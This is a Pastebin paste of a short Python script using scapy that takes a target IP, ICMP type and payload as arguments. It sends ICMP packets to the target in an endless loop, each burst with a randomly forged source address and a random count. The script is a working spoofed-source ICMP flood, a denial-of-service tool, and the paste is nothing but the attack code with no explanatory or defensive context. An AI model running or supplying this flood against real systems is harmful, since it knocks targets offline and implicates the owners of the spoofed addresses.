Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import scapy.all as scapy
- import sys
- import os
- import socket
- import struct
- import random
- i=scapy.IP()
- c=scapy.ICMP()
- e=scapy.Ether()
- IPdst=sys.argv[1]
- #IPsrc=os.environ['IP']
- #IPsrc=sys.argv[2]
- ICMP_type=int(sys.argv[2])
- pay=sys.argv[3]
- #plen=int(sys.argv[4])
- i.dst=IPdst
- i.proto=1
- #i.len=plen
- #i.options=pay
- c.type=ICMP_type
- while True:
- IPsrc=socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff)))
- i.src=IPsrc
- scapy.sendp(e/i/c/pay, count=random.randint(1,255))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement